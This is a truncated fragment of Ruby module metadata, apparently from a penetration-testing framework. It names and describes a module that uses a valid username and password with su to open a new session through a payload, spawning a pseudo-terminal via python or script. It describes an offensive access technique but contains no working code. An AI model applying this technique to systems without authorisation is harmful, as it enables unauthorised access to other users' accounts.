'Name' => 'Login to Another User with Su on Linux / Unix Systems',
'Description' => %q{
This module attempts to create a new login session by
invoking the su command of a valid username and password.
If the login is successful, a new session is created via
the specified payload.
Because su forces passwords to be passed over stdin, this
module attempts to invoke a psuedo-terminal with python,
python3, or script.
